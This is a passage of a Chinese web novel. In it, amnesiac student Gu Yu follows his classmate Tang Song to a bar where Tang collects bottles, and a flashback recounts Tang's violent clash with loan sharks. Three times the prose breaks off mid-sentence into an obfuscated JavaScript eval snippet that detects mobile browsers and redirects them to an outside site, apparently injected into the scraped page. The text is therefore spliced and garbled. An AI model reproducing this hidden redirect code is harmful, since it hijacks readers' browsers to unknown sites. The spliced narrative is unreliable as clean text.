顾渝并不习惯这样的氛围,吵得他脑子生疼,皱着眉四下寻找唐松的身影,刚没走两步就被一个男人拉住了:“诶?这么巧啊。” 顾渝心脏一跳,难道是又遇上熟人了?可他看太不清对方的样子,刚挣脱掉那人拽他的手,对方就很大嗓门地喊着:“姐妹,我今天也是这个,这个装扮。” 他手里拿着杯子,一身酒气,明显是喝多了。 原来是醉鬼。 在闪烁的灯光下仔细一看,那人竟然也穿着和十一中配色一样的校服,不过很明显不是正经的校服,因为对方明显很瘦,可校服却很紧很短,勾勒出纤细的腰肢,堪堪挡住肚脐。 那人冲着他傻笑一声:“我们俩站一块,好像真在学校一样诶——” 顾渝避而不答转身要走,却又被拉住了:“姐妹,你别走啊——” 他没有对付这种人的经验,只要一躲开对方就会像狗皮膏药一样又贴上来:“你认错人了,放开我。” “你不是姐妹?放屁!我这个人雷达超级准的好吗。”他眯起眼睛往前倾过来,可是手中不稳,酒液不小心洒出来,顾渝向后闪躲,但是没有躲开,校服的袖口没能幸免,被淋了个精湿。 他彻底失去了耐心,脸也拉下来,一使力直接推开了那人往洗手间走去,只剩下背后醉鬼急促的声音:“诶?我姐妹呢?我姐妹呢?” 校服上全是酒气,一路走来又染上浓重的烟味,他在厕所用水简单的清理了一下,只是还没等拧干,外头跌跌撞撞进来两个人,话都没说一句就开始抱着啃起来,并且发出阵阵暧昧的水声。 他脊背一僵,抬眼看了镜子一眼,他身后两个抱在一块的其中一人,除了刚才耍酒疯撒了他一身酒液的那位真coser还有谁? 顾渝一瞬间头皮发麻。 那是两个男人在接吻。 还是在他面前。 顾渝之前在学校里耳濡目染,理论上大约明白这是个怎么样的事情,但是初中生也最多是打打嘴炮,完全没有实际看过这种场面。 那两个人紧紧贴在一起的身躯和嘴唇,交缠在一起的舌头,以及洗手间暧昧的氛围,还有可预知到的,将要发生的一切都让他大脑一片空白。 他心脏狂跳,几乎是落荒而逃的从厕所出来,音乐声击打着大脑,让他思考不了任何东西。 鼻腔里还残余着酒气,他倚在墙壁上深吸了几口气。 唐松到底为什么会来这种地方?! 平复了一会气息,他刚走了两步,便看见了正站在不远处沙发卡座和别人说话的唐松。 不知是不是错觉,那一瞬间,不适的感觉消失了,他竟然莫名感到安心了一些。 唐松戴着黑色鸭舌帽,对沙发卡座的人说:“请问,你们喝完了吗?” 卡座上的看起来只是过来玩的大学生,有男有女,横七竖八地窝在沙发刷手机。听到声音抬眼望去,只见一个黑衣黑裤的男生左手插着兜,右手提着氮肥的饲料袋子,袋子鼓鼓的不知道装着什么,可因为他的表情称得上有些凶狠,让这个普通的袋子好似也染上了几分杀气。 笑声骤然停了,几个人眼神交汇,都露出了迷茫的神色。 他们都是过来玩的纯良的大学生而已,怎么还惹上黑/涩/会了? 坐在边上离唐松最近的绿衣服男生说:“额……你谁啊,我们认识吗?” 唐松一挑眉:“不认识啊,我观察你们很久了,要收拾……” 中间穿着卫衣的男人“腾”地一下站起来,身形摇摇晃晃,撸起袖子指着唐松:“你什么意思,你要收拾谁?” 唐松表情很疑惑:“我都站你们面前了还问我要收拾谁的?” 坐在他旁边的女生察觉气氛不对,这个酒吧虽然安保很好,但是喝高了产生纠纷的事情也不少,于是出来打圆场道:“阿远别激动,我们快喝完了,马上就走,是有什么误会吗?” “哦,那没事了。”唐松闻言点点头,转身欲走,可回头之间衣角被风带起,不小心扫倒了一个酒瓶,他眼疾手快弯腰一接,玻璃酒瓶被他稳稳拿在手里,重量很轻,他摇一摇,里面是空的。 于是一群人屏气凝神的注视下,他缓缓打开了那个充满杀气的氮素化肥袋子,捏着瓶子抬眼问道:“这喝没了,不要了吧,不要我收拾走了……你们都看我干什么?” 众人:“……”你丫长这么拽原来是扫场子的清洁工啊? 卫衣男生脸色一下子变得非常尴尬,默默缩回手指,站也不是坐也不是,“你要收拾……” “收拾桌子啊,我看你们桌子都满了。” 旁边的女生想笑却又觉得不太礼貌,憋得满脸通红,绿衣服此时开口了:“等等……” 唐松眼神有点锋利地扫过去:“什么?” 绿衣服被这眼神震慑了一瞬,但想了想,还是指着桌子上堆起来的酒瓶弱弱道:“……这些其实也喝完了。” 唐松把酒瓶又装进袋子里,顺带着把他们桌子也给擦了,最后非常有礼貌地冲他露出一个笑容:“祝你们玩得开心。” 卡座上什么声音都没有了,不知谁弱弱出声:“……还喝吗,感觉酒突然醒了。” * 唐松把袋子往吧台角落一扔,他和这里的老板算是认识,从一年半之前他开始偶尔在这里打工,早已经轻车熟路。 每个酒保基本都认识他,今天当班的小刘在吧台逗他:“松子哥,来一杯?” 唐松非常有原则地拒绝了:“不要带坏高中生好吗。” “行吧,忘了你还是个小屁孩,”小刘也不强人所难,“这几天的酒瓶子啊盒子啊都放在后街角门了,老板让你快点拿走,太占地方。” 唐松“哦”了一声,对方又说:“你是真傻,要是听老板的话过来看看场子多好,又不是什么不正经的工作,而且自从严打之后事儿少又赚钱,天天就走一圈当个门神就成。” 唐松呵呵一笑:“我是遵纪守法好少年,不敢做这种事情。” 小刘明显不赞同:“我们这种没家庭托底的,能干上这个,起码少走十年弯路好吗。读书有什么用,你看我,读了大学不还是照样在这干活。” 唐松不置可否。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883023|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他第一次来这个酒吧是因为阿莱。阿莱的父亲好赌成性,欠了一大笔高利贷后不知所踪,母亲为了还债帮人开大车运粮食,在外没日没夜地奔波。 出远门干活的时候,阿莱就被送到唐松家里,免得高利贷上门讨债。可那一次,他们不知从哪里得来的消息,趁着唐松不在家的时候摸到了他家门口,把窗户敲碎之后爬了进去,抓走了熟睡的阿莱,给阿莱母亲打电话,不还钱,就得拿人来抵。 那时候阿莱母亲在几千公里以外的地方,鞭长莫及,而且她没有钱,老板欠她三个月的工资,她干,不知道什么时候这种空口的承诺能兑现,但是她不干,那就一分钱都拿不到。 多年的贫穷让她失去了任何能帮衬的亲朋好友,走投无路,只能哭着给十六岁的唐松打电话,求他去救救阿莱。 他那时候为了在电子厂“立威”,偶尔也帮着几个“哥们”搭帮结派地打几场架,打一场能拿到不少钱,他最能打,人人都爱找他。 因此唐松年少气傲,单枪匹马过去,可那帮人都是熟练的打手,和他在学校里、还有跟小混混打的架完全不一样,他头上遭了一棒,血流得把视线都染成一片红色。 唐松耳边嗡鸣,胃里翻搅着,大脑眩晕,而后不知从哪来的力气,抄起旁边的啤酒瓶用力在桌角一磕—— 四分五裂之间,他随手抓了一个人死死勒住他的脖子,拽着人靠在沙发的角落。 酒瓶锋利的尖刺抵住对方的咽喉,手止不住的颤抖,鲜血从脖颈涌出来:“放了我们,不然别怪我对他不客气。” 非常幸运的是,他抓住的正好是那帮人的小头目,一群手下瞬间不敢动作,可被他禁锢在怀里的人却有恃无恐:“小崽子,这样有什么用呢?你今天要是杀不了我,你等着吧,以后一天好日子都别想过。” 唐松攥紧酒瓶,努力地让逐渐模糊的意识保持清醒,可另一种名为愤怒的情绪却又烧到了整个胸腔。 他想到父亲躺在床上灰白的脸;被亲戚扔来扔去没吃过一顿饱饭却无能为力的童年。 被说短命鬼就该早点死的时候;第一次挥起拳头攻击扔他狗屎的小孩却被对方父亲倒挂在窗户边的时候;邻居叫他的小孩吃块西瓜都要背着他的时候。 好日子,他们这种人又有多少好日子,再难还能有多难,也只不过是雪上加霜罢了。 肾上腺素飙升的时间很漫长,心脏在胸腔里狂跳,大脑变得格外清晰,一个恐怖的想法从他脑子里突兀地生出来。 那是他离犯罪最近的一次。 湿热的液体划过脸颊,不知道是鲜血还是别的什么,唐松冷笑一声,手止不住地颤抖,而后又逐渐用力:“那你别后悔——” 就在他下定决心的那一瞬间,“咣”地一声,包厢门被踹开了。一个穿着熨帖西装的男人走了进来,他年龄看起来不大,但是举手投足之间已经有一种老练的圆滑。 “各位,在我的地盘闹事,有没有提前过问过我啊?” 小头目明显认识这人:“胡老板,是这小子疯了才过来闹事,他想杀了我!你快,快救救我!” 那男人似笑非笑,轻飘飘地看了唐松一眼,朝众人道:“你们什么恩什么怨我不管,但在我这搞出这么大动静,总得拿什么来换吧。” 唐松喘着粗气,分不清来人到底是帮他的,还是与这帮人是一丘之貉,但他失血过多,已经撑到极限,耳边嗡鸣,再也使不上任何力气—— 意识消散之前,好像有个人冲了过来,他倒下的时候,正好落在那人的胸膛。 那人紧紧把他抱在怀里,比起他记忆里父亲的怀抱稍显单薄,但又异常柔软。 之后……之后好像有冰凉的雨水滴在他的脸上,意识的最后一瞬,他想着,又下雨了。 12. 拥抱 而后醒来时,他已经身处医院的病床,那位酒吧的孙老板翘着二郎腿坐在椅子上,好整以暇地看着他。 他眼前多出一张名片:“介绍一下,我是RUST的老板——你要不要跟着我干?” 他有些发懵:“干什么?” “替我看场子。”对方轻描淡写道,“你要是还想上学,那也行,晚上过来,我们下午六点开业。” 看场子,做打手,这些词汇在唐松的世界不陌生,是从他的一些“兄弟”嘴里知道的。 这活一般人干不了,得能唬住人。 怎么唬住人? 要么有权要么有人,要么不要命。 他还能属于哪种呢? 从小到大没人会给他撑腰抗事,于是为了自保他护住脑袋,护住脑袋不够,便又开始挥出拳头。 他被迫卷入一些不必要的纷争,渐渐招惹到一些从社会上的眼光来看不太好,但在他的世界里对他好像还不错的人。 他混迹在其中,学着他们的样子,讲他们的义气,以获得一丝安全的慰藉。以至于唐松在某些情况下挥出拳头的时候,内心有时会产生一刹那的恍惚。 他真的是全然被迫的吗? 拳头是越挥越熟练的,而暴力积累到一定程度的时候,他内心已经习以为常,逐渐转变成麻木。 唐松逐渐意识到,一个白天行走在和平宁静的校园里的学生,是无法和在夜晚出没的危险角色相处融洽的。人与人之间是这样,而人的内里也同样如此。 他既想要平凡的学生带给他的安全感,又想要暴力和虚假的权利带给他的甜头,这太不可能。 那个晚上,用尖锐的酒瓶碎片抵住别人喉管的时候,他大脑一下清明:他根本无法保持平衡。 这种身份的冲突也许会在潜移默化地蚀掉他白天的一部分——因为人在黑暗、在习惯冲动的时候,真的会变成自己不认识的样子,直到无法回头。 他喉咙滚动几次,试图压下里面浓重的血腥气,“为什么……找我?” 孙老板笑了笑,“看得出来,你胆子挺大的。”他顿了顿,又说,“还有,你很聪明。是你让酒保提醒我,说包厢那边有人涉毒的吧。” 唐松沉默着没有说话。 孙老板也不急,随口道:“我打听过,你平时生活挺困难吧。你给我干活,我一个月给你这个数。” 他用手指比了一个数字——那是一个唐松从来不敢想象的数字。如果一直做下去,他真的可以攒下一大笔钱,去做很多他以前不敢想的事情,能给废品站的糟老头子租个更好的房子,甚至可以帮阿莱还掉一部分贷款。 更别说人生的选择哪有对错,谁也没能力知道十年后会是什么光景。他觉得这钱脏,去干干净净做他的穷学生就一定会有回报了吗?好人没好报的多了去,与其抓着这点虚无缥缈的“光明未来”,不如抓住这个机遇,去试试,去闯一闯。 可是唐松最后闭了闭眼说:“对不起,好像不行。” 老板问:“为什么?” 为什么?哪有这么多理由。 他说不上来。 如果硬要说的话,那一瞬间,他突然想到了一个人。一个完全不合时宜、不合情理,但是莫名其妙出现在他脑海里,又莫名其妙变成一个理由的人。唐松后来认为,可能是因为那个人每时每刻都在告诉他你的行为是危险的,错误的,所以他才依然保持着对做“乖孩子”的那一丁点欲望。 又或许,这只是他为自己的恐惧找的一个理由。 他说:“因为学校里有一个人,头上跟长了摄像头似的,每次我一逃课、身上带一点伤,他就会记我的分,还告诉老师。” “我要是做这个,肯定瞒不住,要是被他发现,书都没法好好念了。” 孙老板不敢相信:“……你小学生吗?就因为这种破理由?” 唐松咳了咳,从床上撑起身来:“就因为这种破理由——医药费多少钱,我等会补给你。” 时间匆匆,眨眼之间一年半已过,那之后突然严打,附近酒吧都进行全面休业停改,那些说着要来找他和阿莱麻烦的小混混从那以后再也没出现过,他逐渐远离了那些社会上的兄弟,人生好像重新回到了正轨。 唯一有变化的是,酒吧老板似乎很欣赏他的样子,打听到他平时会捡废品赚钱,特地叫人过来问他愿不愿意定期把他们酒吧的垃圾回收走。久而久之,他偶尔过去,也帮着店里做一些清洁的工作,老板好像是富二代,并不差钱,每次都给他一笔可观的时薪。 想到这些,他突然觉得有点口渴,伸手朝酒保讨要:“哥,不然给我一杯吧?” 小刘诧异,但还是给他调了一杯度数低的果酒,推到他面前:“你不是不喝?” 他嘻嘻笑道:“我成年了嘛。” 他拿起酒杯,仰身靠向后椅,后脑勺却砸进了一个柔软的胸膛。 与此同时,一个手臂越过他拿走手里的杯子,唐松抬着下巴仰头一看,对上一双漆黑的眸子。 还是那张稍显冷淡的脸,嘴角向下,很不高兴的样子。 “你不能喝酒。” “卧槽!!顾渝?!”唐松差点从椅子上滑下去,怎么也没想到会在这种地方见到他。 顾渝把酒搁在桌子上,仰头一饮而尽,而后把空杯子推回给小刘:“抱歉,他不能喝酒。这杯多少钱,我付了。” 唐松一时间没反应过来,顾渝身上还穿着校服,喝酒的姿势熟练得过分,身后则是灯红酒绿的舞池,这种割裂感让他有点恍惚,“你怎么在这?” 顾渝把钱扫过去,反问他:“那你在这种地方干嘛?” “我当然是在这工……”唐松脱口而出,“等等,我在这关你什么事?” 顾渝只盯着他看,一言不发。 小刘在旁边打趣:“诶松子哥,小男朋友来查岗了哟。我作证,松子哥无不良嗜好,平时完全不近女……呃男色!” “你瞎说什么!” 唐松脸皮薄经不住打趣,伸手一拎袋子,另一只手拽着顾渝的胳膊,压低声音恶狠狠地道:“跟我出来,换个地方找你算账!” 一路拽到了酒吧后街角巷,这里灯光昏暗,人影也不见一个,他把顾渝堵在墙边:“说!你为什么会出现在这!” 顾渝本来就没想瞒着他,倒是很诚实:“我跟着你来的。” “哈?”唐松瞪大了眼睛,“你没事闲得跟踪我干什么?” 好哇,怪不得他问顾渝回家要拿什么东西的时候,他一脸不情愿地说着“跟你有什么关系”,原来那是心虚啊! 顾渝没有回答这个问题,而是问唐松:“你在这里打工吗?” 唐松才不上他的当:“要你管我?你少转移话题,你跟踪我什么目的?” 顾渝:“为什么在这打工?” 唐松:“都说了关你屁事!你到底干嘛来了?” 顾渝仍旧沉浸在自己的世界:“我刚才看见他们欺负你了。这里人这么杂,这么乱,你吓到了吧,袋子那么沉,你累不累。” 唐松:“……” 拳拳都打在棉花上,唐松彻底无语了:“他们没欺负我……不是,顾渝,你到底想干什么啊。” 莫名其妙的跟着他过来,又莫名其妙地说出这种话来。 搞得就好像顾渝很关心他一样,让他脾气都没地方发。 这回顾渝倒是听进去他的话了,可能是因为那杯酒的原因,他的声音有些低沉沙哑。 “因为我担心你。”顾渝顿了顿说,“作为……朋友。” 一句担心,一句朋友,瞬间让唐松哑火了。 差点忘了,他现在扮演的人设是顾渝的“好兄弟”。 那刚刚是不是表现得太凶了? 不知道现在找补来还不来得及,唐松轻咳一声:“所以我才生气呢,你偷着跟来干什么,你直接跟我说一声,我还能不带你来吗?” 顾渝沉默地看着他,不知道信还是没信。 趁着这个空挡,唐松赶紧说:“总之你也看到了,我这儿忙着呢,你快点回去得了。” 他开了后门想赶紧把顾渝打发走,结果一只手握住门把,一股大力袭来,直接把门又推了回去,顾渝他在身后,身体的阴影笼罩着他。 顾渝的呼吸变得很重。 可能是因为喝了酒的缘故,喷薄在唐松脖子后面的气息也热热的,顾渝说:“以前的那个我,知道吗。” “知道什么?”唐松不喜欢这个好像被禁锢住的姿势,浑身的肌肉都紧绷着。 “你在这打工的事情。”顾渝说。 废话,唐松想,要是让顾渝知道他在酒吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883024|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打工的事情,那检讨书估计都能写到绕地球一圈了。 就算全世界只剩下他们两个,唐松也绝对不会把这个秘密告诉顾渝。 虽然现在他一不小心放松警惕就被顾渝趁虚而入抓了包,但是唐松简直庆幸,还好他们现在是“朋友”。 “哦,”唐松硬着头皮撒谎,“以前……以前我们不怎么谈论这件事,你不怎么喜欢我提这些。” 歪打正着,虽然是唐松胡扯的,但是顾渝的确讨厌跟别人说他家里的事情,他信了唐松八分,眼睛暗了暗。 唐松为了照顾他的情绪,竟然从来没跟他抱怨过一次自己的生活。 日记里从来没写过关于唐松家里的事情。可是现在一细想,唐松自己一个人住,还在这种地方打工,想必日子过得非常辛苦。 刚才在酒吧门口帮他解围的人表明,他来过这,不过应该不是什么常客。但这起码表明他应该是知道唐松在这里做什么的。 可是他好像什么都没有做。 男朋友明明只是个高中生却还在这里辛苦打工,而他却只顾着谈恋爱,没想过替男朋友分忧,甚至都没在日记里提过这个事情。 所以以前的他好像有点,不太合格。 二人还保持着原来的姿势,顾渝在唐松背后,稍微靠近了一点。 唐松试图脱离这个后背受敌的姿势,但挣了挣竟然没顶过顾渝,只能咬着牙道:“你躲开,你在干什么?” 顾渝说:“我在反省。” 唐松:“?反省什么。” 顾渝的语气听起来非常认真:“我对你了解太少,不够关心,以后不会了。” 唐松一愣,反而有点不好意思起来。 没想到顾渝这个人意外地还挺……重情重义的,对朋友都这么上心。 他都有点惭愧了。 只是唐松深感这场对话不能再继续下去了,因为他的良心有点痛。 他怕他一心软,坚持不住就全都招了。 他这回用了点力气,顺利挣脱顾渝,再度拉开门想要回去,顾渝突然在他背后不轻不重地说道:“还有,你跟我说实话。” 唐松脚步一顿。 ?这又是哪一出? 他大脑飞速旋转思考着顾渝这话的意思,顾渝自顾自地继续说了:“我知道你在骗我。我们以前肯定发生过什么不好的事情,对吧?” 唐松:“……”学霸不愧是学霸,他都不知道顾渝是从哪句话发觉了他们之间的异常。 这么快就要暴露了吗? 他可还什么都没来得及做呢! 顾渝紧接着说:“我失忆之前,我们是不是——” 唐松咽了咽口水,一颗心悬起来。 可偏偏这种最需要极速旋转的时刻,他不争气的脑子竟然还在想着那些手机里的照片能不能买断。 “我——” “我们吵架了,对不对?” 两道声音响起。 唐松飞速跳动的心脏重新落地了。 吵架好,吵架妙啊。 他虽然不知道顾渝从哪里瞎猜出来他们“吵架”了的事情,但是总归他还没有暴露。 他刚想露出一个笑容,可一口气没喘匀,心很快又重新活蹦乱跳了。 ——一双手忽然环住了他的腰。 紧接着,熟悉的热度贴上了他的脊背,把他整个身体包裹住了。 身后人热乎乎的气息扑在他的颈窝,浅浅的,不敢贴近。 顾渝把他抱住了。 一个略带委屈的声音贴着耳朵响起:“对不起,我现在还想不起以前的事情,但你告诉我还有哪里做错了,我可以改。” 唐松整个身体一下僵住了,他被圈在怀里,腰被一双手紧紧圈着,惊涛骇浪之下他甚至忘记推开顾渝。 这是什么台词? 这是什么动作? 这是谁? 这是在干什么?! 在这种情况下,唐松佩服自己竟然还能给顾渝的异常行为找到一个合理的理由:顾渝这么孤僻,是不是以前一个朋友都没有,所以不知道和朋友之间该有什么样的“距离感”? 嗯,肯定是这样的。 不过与此同时他也意识到了一个非常严重的问题。 顾渝好像真的,把他当成什么重要的人了。 13. 真心 他本来以为顾渝这种看起来冷心冷情的人,对身边人的态度估计也只是不冷不热,不上不下的,所以他欺骗起顾渝来毫无压力,只当是耍够了人,抓足了把柄,等顾渝恢复记忆之后狠狠嘲讽他一番,以报私仇。 可是现在看来,好像不是这样。 唐松的良心又痛了一次。 恰巧小刘叼着烟出来,看着这一幕“诶哟”了一声,又缩了回去。 没过几秒钟,小刘又从门内探出个头来:“你俩完事儿没?” 唐松心如死灰地捉着顾渝的手把他扒开,冲着门口那颗脑袋凶了一句:“去你的,少在这点火!” 小刘又把头缩回去了,唐松一转头,顾渝站在原地,目不转睛地盯着他看,在夜色的加持下,竟然显得有一丝可怜。 唐松被自己的想法吓到了,心想,他可能真是被顾渝吓魔障了。 “此事……说来话长,”他良心有点痛,再也没法瞎编乱造出来谎话,只能暂且说的模棱两可,“我们以前确实是有点矛盾,不过那都过去了,现在跟你说这些也没用,等你想起来再说吧。” 等顾渝想起来了,估计也不会在乎他现在说了什么,只会无能狂怒他跟踪死对头大晚上还抱着他道歉的蠢事了。 顾渝吸了吸鼻子:“那你现在是,不生我的气了吗?” 唐松点点头:“当然。” “那我们现在,是……” 唐松抢答:“是兄弟,是铁子,是朋友!” 顾渝:“……” 顾渝没再说话了。 行吧,顾渝想,虽然不知道他们到底发生过什么,但是唐松说不想再计较过去,这也是一个巨大的突破。 万一他的记忆再也不能恢复,那么过去自己做的所作所为,也跟现在的他毫无关系了。 唐松不愿承认,那他们就不提过去,朋友就朋友吧,先从朋友做起……倒也不是不行。 总比仇人强吧。 他轻轻“嗯”了一声,“不生气的话,可不可以告诉我,你为什么在这工作?” “……就是为了赚点外快而已,”唐松无奈地解释起来,“我偶然认识了这家酒吧的老板,有空会过来打小时工。但今天不是,今天我是过来收瓶子的,老板答应我,要我定期过来处理客人喝完的酒瓶子,还有能回收的废品。” 他往巷子里走了两步,停在了一个倒三轮前面,倒三轮与三轮不一样,运货载人的区域在车头前面,优点在于能够实现超越空间极限的运输行动。 三轮前面的货仓用几个简易木板搭建,几块布条缠着长木板搭了个简易座位,在巷子口一放不知道是不是忘记回收的大型垃圾,废土风味十足,唐松脚尖轻轻踢了踢三轮车的轮胎:“喏,我的车。” 这涉及到了顾渝的知识盲区:“这个是干什么用的。” “当然是把瓶子拉回去啊,”倒三轮旁边堆着不小的一堆黑色垃圾袋,旁边散乱地扔着纸箱子和泡沫板。 唐松从裤兜里掏出一个被绳子系着的、叠的四四方方的不明物体,一抖开竟然是一沓装饲料的袋子,“都跟老板说了好几次了这种袋子不能装玻璃,他非说这个好看,搞不懂。” 顾渝还是搞不懂:“拉一堆垃圾回家干吗?” 唐松笑了一声:“少爷,你还没什么当穷人的经验,让大前辈教教你吧。这东西都是真金白银,玻璃瓶两毛一斤,这种纸板七毛,泡沫两块,易拉罐六块,矿泉水瓶一块五。” 唐松把散落的纸箱子拾起来,拆卸压扁一气呵成,从车里抽了个捆扎带系好,一使力“嘭”地一声扔到车上,对着傻站在一旁的顾渝说:“就这样,运回家,卖掉。” 顾渝好像受到了一点冲击:“为什么要……做这些?” 唐松注意到他表情不对,一瞬间就猜到他在想什么:“少爷你可千万别多想,我好歹也是有监护人的……干这个就是想自己出来赚点外快赚点零花钱而已。” 顾渝点了点头,一言不发地脱掉了外套,站到了那堆垃圾上。他的动作很笨拙,而且浑身上下都透露着抗拒,但是他仍旧蹲下身,学着唐松的样子开始捡纸箱子。 唐松一挑眉:“你干什么?” 不远处传来一个闷闷的声音:“帮你。” 唐松震惊,“可你不是有洁癖吗,以前碰我一下都要洗十遍手……” 话一出口,顿觉失言,唐松心里暗骂这张无遮拦的死嘴,可顾渝蹲在垃圾堆里回头忘了一下他,只是淡淡说道:“我……以前嫌弃你吗。”听不出情绪。 唐松不知道该怎么找补:“也,也没有……” 好在顾渝似乎没有很在意这件事,继续捡他的纸皮去了。 还别说,顾渝学什么都很快,唐松蹲在他旁边演示了几遍,没一会,一沓纸皮已经被他板板正正地扎好了。 看着顾渝与垃圾融为一体的样子,唐松蠢蠢欲动的手还是战胜了心底的罪恶感,忍不住掏出手机拍了一张顾渝蹲在地上捆纸箱子的背影。 他在心底默默想着:顾渝,这都是你自己要干的,你也别怪我狠心,等你恢复记忆之后,这些东西都是我保命的武器。 这还不够,唐松又戳下了录像键,“顾渝,你快说你是自愿帮我捆纸板的,并且请你阐述一下你的理由。” 顾渝对此一切毫无知觉,只当唐松又在自娱自乐些什么他不懂的东西,顺从地重复:“我是自愿的。” “理由呢?” 顾渝把纸板堆在一起,在死结上又扎了一个漂亮的蝴蝶结:“你手不是受伤了么。” 唐松一愣。 他看了看自己包着纱布的手,纱布有点脏,脏了可能就拿掉,没过几天伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883025|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会痊愈了。他自己都快忘记这码事情了,或者说,他根本没有把这点小伤放在心上。 而顾渝却还惦记着他,更好笑的是,说这话的时候顾渝自己脸上还带着伤。 唐松默默关掉录像,把手机揣回兜里,开始把摞在一块的黑色垃圾袋都转移到他带来的饲料编织袋里面。 RUST啤酒种类少,虽然也提供罐装,大部分都是调制的酒品,因此几天下来,一车拉走倒也还算绰绰有余。 唐松边装边问顾渝:“顾渝,你无家可归,那现在靠什么生活。” 顾渝的动作停了一下,随即答道:“一点存款。” 是他被赶出家门之前,在房间的抽屉里发现的。 顾敛章每个月会固定给他信用卡的额度,但他没什么私人的活动支出,自然也没什么存钱的观念。 这张卡,应该是他失忆之后不知道从什么途径攒来的钱,他还不知道这笔钱的用途,因此花得小心翼翼。 唐松“哦”了一声,思考片刻,“那……那你要不要跟我一起干?这个活很轻松,赚的也不少。我先说好了,你千万别多想些有的没的,都是因为我的秘密被你发现了!而且我也有交换条件,就是你千万不能把我在酒吧打工的事情说出去。” 唐松压低声音,学着电影里反派的声音威胁道:“我要把它变成,我们两个的秘密。” “两个人的秘密”这个词,对顾渝的诱惑可太大了。 如果时间回到几个月前,刚看到日记时不可置信的顾渝,那时的他可能打死都想不到短短几个月之后他会在脏乱的酒吧后巷里捡废品,也没有想到现在的他竟然真的开心地点了点头:“好。” 见顾渝答应,唐松勾勾唇,反而觉得有些新奇。 遥想不久之前的过去,顾渝还因为他在学校里问高三要他们不用的练习册和书本而对他发号施令:‘你觉得学校是你做生意的地方吗?把东西都放下,不许在这捡。’ 他辩驳:‘我一没偷二没抢,人家也乐意给我,碍你什么事情了。’ 顾渝油盐不进:‘我说不行就是不行,赶紧回去。’ 他不听,一群高三的学姐学长倒是非常乐意的把废纸都扔到了他的小推车里,但是没走几个班,就等来了怒气冲冲的教导主任,以及一个全校通报批评。 最后甚至还被罚扫半年的操场,听别人说,本来没有这项惩罚,是顾渝跟教导主任提议,他既然喜欢收拾破烂,那就让他收拾个够。 虽然最后学校的清洁工人要把废书全部丢进垃圾桶的时候被他及时发现并拦截,总归是小赚了一笔。 不过那时的顾渝,是真的讨厌死了。 唐松已经把最后的一袋瓶子堆上车,拍了拍手上的灰尘,一只脚踩在车上,颇有种山大王的威风:“行吧合伙人,回家吧,今天我载你!” 14. 没少睡 十分钟后,顾渝被掩埋在垃圾里,左手搂着纸板右手搂着塑料瓶,坐在晃晃悠悠看起来随时都有可能倒塌的椅子上,感受到一点惶恐:“这能行吗,我感觉这车要碎了。” “非常安全,呼呼,”唐松站起来用身体的重量蹬着车子,一边哼哧哼哧喘着粗气,“但是,你要抓稳了,我要转弯喽——” 顾渝被惯性一带,身体向左扑了一下,抱紧身边的废品才得以将将稳住身躯。车子晃晃悠悠地走出了酒吧街,又上了大路。 夜晚的市区热闹非凡,出来逛街娱乐的、穿着轻便的路人看见这两个看着年龄不大的少年骑着坐着一辆破车,偶尔投来几个好奇的目光,顾渝不太适应这些视线,但唐松却浑然不觉,目视前方,毫不在意的样子。 上了自行车道之后,车速开始变快,唐松的衣服被风荡得鼓起来,脸上浮出一层薄汗,但不知是不是在夜色中,恰好霓虹灯与路灯的灯光照射在他脸上,他的眼睛亮晶晶的,一点都不显得疲惫与狼狈,甚至还断断续续哼起了歌。 晚风吹拂在顾渝的脸上身上,冷空气吸进鼻子里,他望着前方的大路,肩膀与唐松不到一拳之隔。 他坐在一个陌生的、以前从未见过的简陋交通工具上,旁边塞着一堆让他动弹不得的大型废品,风向四面八方灌来,凳子也硬得十分不舒服,可这对他陌生而新奇的经验,是唐松平凡的日常。 当顾渝发觉自己似乎已经融入独属于唐松日常的一隅时,也同样感受到这份“日常”带给他的感觉——和唐松的性格有一些相似,浸润在冷气中,却带着一股拼命的、张扬的、蓬勃的气息。 是他沉默的,安静的,格式化的人生从未感受过的。 走了一段上坡,唐松的动作开始缓慢下来,顾渝知道他可能有点累了,“要不要我来骑?” 唐松没有听清:“嗯?你说什么——” 顾渝提高了一点嗓音,头向唐松靠近了一点:“我说,你累不累——” 唐松这回听到了。在这条路上来来往往这么多回,还是头一次有人问过他累不累,他其实并不感到疲惫,但就是莫名想说,“嘶,好像是有点……” 顾渝直接说:“那换我来。” 他把车停在路边和顾渝换了位置,可是顾渝第一次骑这种车,上去踩了踩脚踏板,发现竟然连蹬都蹬不动。 倒三轮其实不好驾驶,尤其是起步阶段,一边要使力一边要把控方向,顾渝拽着把手操作了半天,动是动了起来,就是差点翻车。 